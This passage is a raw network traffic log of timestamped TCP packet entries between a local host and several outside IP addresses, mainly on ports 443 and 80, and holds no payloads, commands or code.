Nov 23, 2024 15:22:14.273029089 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.273035049 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.273320913 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.273382902 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.273771048 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.273786068 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.321261883 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.323510885 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.323549986 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.323911905 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.323925972 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.387067080 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.402271986 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.402281046 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.404078960 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.404083014 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.676043987 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.676139116 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.678875923 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.708868980 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.709028959 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.709918976 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.709985018 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.710037947 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.710097075 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.718367100 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.718367100 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.718388081 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.718410969 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.719646931 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.719667912 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.719682932 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.719690084 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.720386028 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.720446110 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.720483065 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.720499992 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.722824097 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.722867966 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.722954988 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.724119902 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.724150896 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.724205971 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.725131989 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.725142956 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.725383043 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.725404024 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.725419998 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.758207083 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.758272886 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.758727074 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.767923117 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.767940998 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.778367043 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.778388023 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.781795025 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.781795025 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.781817913 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.781843901 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.783276081 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:14.783296108 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:14.783375025 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:14.783606052 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:14.783620119 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:14.785826921 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.785847902 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.786004066 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.786283016 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:14.786293983 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.831875086 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.831954956 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:14.834239960 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.003818989 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.003818989 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.003829002 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:15.003839016 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:15.016040087 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:15.016419888 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:15.039894104 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.039906979 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:15.039968967 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.040635109 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:15.040646076 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:15.137083054 CET	80	49777	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:15.137099981 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:15.137171030 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:15.137217999 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:15.137439966 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:15.250427961 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.250494003 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.252219915 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.252232075 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.252435923 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.256856918 CET	80	49777	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:15.303731918 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.305322886 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.305322886 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.305507898 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.960567951 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.960639954 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.962460995 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.963326931 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.963326931 CET	49771	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:15.963345051 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:15.963355064 CET	443	49771	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:16.210928917 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:16.211023092 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:16.211169958 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:16.211623907 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:16.211658001 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:16.536885023 CET	80	49777	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:16.537189007 CET	49777	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:16.538052082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:16.538350105 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:16.552383900 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.552865028 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.552906990 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.553379059 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.553396940 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.576531887 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.576982021 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.577022076 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.577049971 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.577258110 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.577272892 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.577744007 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.577744007 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.577756882 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.577771902 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.643590927 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.644254923 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.644254923 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.644267082 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.644279957 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.658231974 CET	80	49780	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:16.658432007 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:16.658432007 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:16.658488989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:16.658580065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:16.670826912 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:16.671298027 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:16.682202101 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:16.682234049 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:16.682538986 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:16.683197021 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:16.683197975 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:16.683248043 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:16.759285927 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.760087967 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.760087967 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.760094881 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.760107040 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.778487921 CET	80	49780	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:16.996947050 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.997009039 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.997159004 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.997525930 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.997570992 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:16.997606993 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:16.997622013 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.000761032 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.000802994 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.000890017 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.001034021 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.001054049 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.021275997 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.021420002 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.021493912 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.021625042 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.021655083 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.021672010 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.021678925 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.027077913 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.027124882 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.027215004 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.027451038 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.027482033 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.031898022 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.032087088 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.032160997 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.034579039 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.034621000 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.034638882 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.034647942 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.036770105 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.036828041 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.036976099 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.037138939 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.037163973 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.096854925 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.096920967 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.097112894 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.097141027 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.097146034 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.097155094 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.097158909 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.099605083 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.099678040 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.099755049 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.099889040 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.099921942 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.193634033 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.193700075 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.193794966 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.194009066 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.194015026 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.194025040 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.194029093 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.196927071 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.196978092 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.197123051 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.197474957 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:17.197489977 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:17.458488941 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:17.458642006 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:17.458755970 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.471987963 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.472039938 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:17.472088099 CET	49775	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.472099066 CET	443	49775	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:17.473644018 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:17.473721981 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:17.509183884 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:17.509215117 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:17.509414911 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:17.518120050 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:17.518120050 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:17.518189907 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:17.689332962 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.689368963 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:17.689598083 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.689668894 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:17.689677000 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:18.041474104 CET	80	49780	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:18.041534901 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:18.202054977 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202097893 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202130079 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202163935 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202172041 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.202199936 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202244997 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.202246904 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.202296019 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.202311993 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.210506916 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.210562944 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.210578918 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.218899012 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.218959093 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.218972921 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.272499084 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.272516966 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.319358110 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.403069973 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.406852007 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.406909943 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.406914949 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.406982899 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.407203913 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.407233953 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.407259941 CET	49779	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.407278061 CET	443	49779	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.548780918 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.548803091 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.549446106 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.549801111 CET	49787	443	192.168.2.4	172.67.223.140
Nov 23, 2024 15:22:18.549812078 CET	443	49787	172.67.223.140	192.168.2.4
Nov 23, 2024 15:22:18.721215010 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.721730947 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.721759081 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.722179890 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.722187996 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.758485079 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.758946896 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.758961916 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.759388924 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.759394884 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.760319948 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.760649920 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.760721922 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.760997057 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.761012077 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.896271944 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.896778107 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.896835089 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.897270918 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.897284031 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.976607084 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.977020025 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.977036953 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:18.977648020 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:18.977654934 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.157108068 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.157267094 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.157449961 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.157490969 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.157490969 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.157511950 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.157524109 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.160337925 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.160375118 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.160470009 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.160625935 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.160644054 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.191503048 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.191646099 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193381071 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193547010 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193576097 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193631887 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193805933 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193813086 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193825960 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193831921 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193850040 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193896055 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.193943977 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.193959951 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.196638107 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.196686983 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.196768999 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.196818113 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.196839094 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.196938992 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.196957111 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.196958065 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.197094917 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.197108984 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.343606949 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.343671083 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.343868017 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.343935966 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.343974113 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.344007015 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.344023943 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.346590042 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.346623898 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:19.346694946 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:19.346842051 CET	49791	443	192.168.2.4	13.107.246.63
